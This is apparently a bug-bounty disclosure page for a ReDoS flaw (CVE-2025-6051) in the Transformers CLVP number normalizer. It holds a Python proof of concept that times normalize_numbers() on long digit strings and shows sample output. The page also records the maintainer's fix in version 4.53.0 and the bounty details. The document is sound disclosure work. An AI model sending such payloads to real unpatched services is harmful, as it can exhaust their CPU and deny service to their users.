

Regular expression Denial of Service - ReDoS in [huggingface/transformers](#)

✓ Valid

Reported on Jun 10th 2025

Description

A regular expression denial of service (ReDoS) vulnerability has been identified in the Hugging Face Transformers library's CLVP number normalizer. The vulnerability exists in the `normalize_numbers()` method of the `EnglishNormalizer` class, which converts numeric strings to their English word representations. The method can be exploited to cause excessive CPU consumption through crafted input strings containing long sequences of digits.

Technical Details

- **Affected Component:**

`transformers.models.clvp.number_normalizer.EnglishNormalizer.normalize_numbers`

- **Vulnerability Type:** Regular Expression Denial of Service (ReDoS)
- **Attack Vector:** Maliciously crafted numeric input strings

The proof of concept demonstrates that by providing increasingly long strings of digits, the execution time grows non-linearly, indicating potential catastrophic backtracking or inefficient number processing in the underlying implementation.

Reproduction

Install the dependencies:

```
pip install transformers
pip install tensorflow
```

Run the following code:

```
from transformers.models.clvp.number_normalizer import EnglishNormalizer
import sys
import time

normalizer = EnglishNormalizer()
sys.set_int_max_str_digits(100000)
```

```
for i in range(1, 100000, 10000):
    payload = '0' * i

    start = time.perf_counter()
    normalizer.normalize_numbers(payload)
    end = time.perf_counter()

    execution_time = end - start
    print(f'Payload length {i}, execution time: {execution_time:.4f} seconds')
```

Example output pattern:

```
Payload length 1, execution time: 0.0002 seconds
Payload length 10001, execution time: 0.5429 seconds
Payload length 20001, execution time: 2.1568 seconds
Payload length 30001, execution time: 4.9460 seconds
Payload length 40001, execution time: 8.6166 seconds
Payload length 50001, execution time: 13.4687 seconds
Payload length 60001, execution time: 19.4989 seconds
Payload length 70001, execution time: 26.5270 seconds
Payload length 80001, execution time: 34.6196 seconds
Payload length 90001, execution time: 43.7983 seconds
```

Example output shows increasing execution times with input length, demonstrating the vulnerability.

The provided proof of concept demonstrates the vulnerability by:

- Creating payloads of increasing length using repeated digit patterns
- Measuring execution time for number normalization
- Showing non-linear growth in processing time as input length increases

Impact

This vulnerability specifically affects text-to-speech and number normalization tasks using the CLVP model, which has several implications:

- **Text Processing Service Disruption:**
 - Services using CLVP for text normalization could become unresponsive
 - Text-to-speech pipelines could be halted
 - Business processes relying on automated text processing could be affected
- **Resource Exhaustion in Production:**
 - Text processing servers could experience high CPU usage
 - Multiple users could be affected in shared environments
 - Processing queues could become backed up
- **API Service Vulnerabilities:**

- REST APIs exposing text normalization functionality could be targeted
- Malicious text inputs could be used to trigger the vulnerability
- Rate limiting might not protect against this attack as it's CPU-bound

- **Development Impact:**

- Local development environments could be affected during testing
- Text processing tools could become unresponsive
- Model experimentation workflows could be disrupted

Occurrences

 number_normalizer.py L205

References

- [Similar report #1](#)
- [How to fix a ReDoS](#)
- [Similar report #2](#)
- [OWASP - ReDoS](#)

⚙️ We are processing your report and will contact the **huggingface/transformers** team within 24 hours. 8 months ago



Michelle Habonneau commented 8 months ago

Maintainer

Hi, Thanks for submitting this report. We'll take a look soon and apply a fix. Will proceed with validating this report and come back to resolve once the fix has been merged and prodded.



A **huggingface/transformers** maintainer has acknowledged this report 8 months ago



The scheduled publication date was automatically extended from 8th Sep 2025 to 15th Sep 2025 due to the maintainers acknowledgement of the report 8 months ago



Michelle Habonneau validated this vulnerability 8 months ago



arjunshibu has been awarded the disclosure bounty ✓



The fix bounty is now up for grabs



The researcher's credibility has increased: +7



CVE-2025-6051 assigned to this report. 8 months ago



Michelle Habonneau commented 7 months ago

Maintainer

Hi, We've applied a fix in <https://github.com/huggingface/transformers/pull/38844>. We'll resolve this report after this has been released in the next version. Thanks again



Michelle Habonneau marked this as fixed in **4.53.0** with commit **ba8eab** 7 months ago

\$ The fix bounty has been dropped ❌

\$ `number_normalizer.py#L205` has been validated ✅

✉ We have notified the **huggingface/transformers** maintainers about this report in their weekly follow-up 5 months ago

[Sign in](#) to join this conversation

CVE

CVE-2025-6051

Published

Vulnerability Type

CWE-1333: Inefficient Regular Expression Complexity

Severity

Medium (5.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	Low

[Open in visual CVSS calculator](#) 🔗

Registry

Pypi

Affected Version

4.52.4

Visibility

Public

Status

Fixed

Disclosure Bounty

\$125

Fix Bounty
\$31.25

Found by



Arjun Shibu

@arjunshibu

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)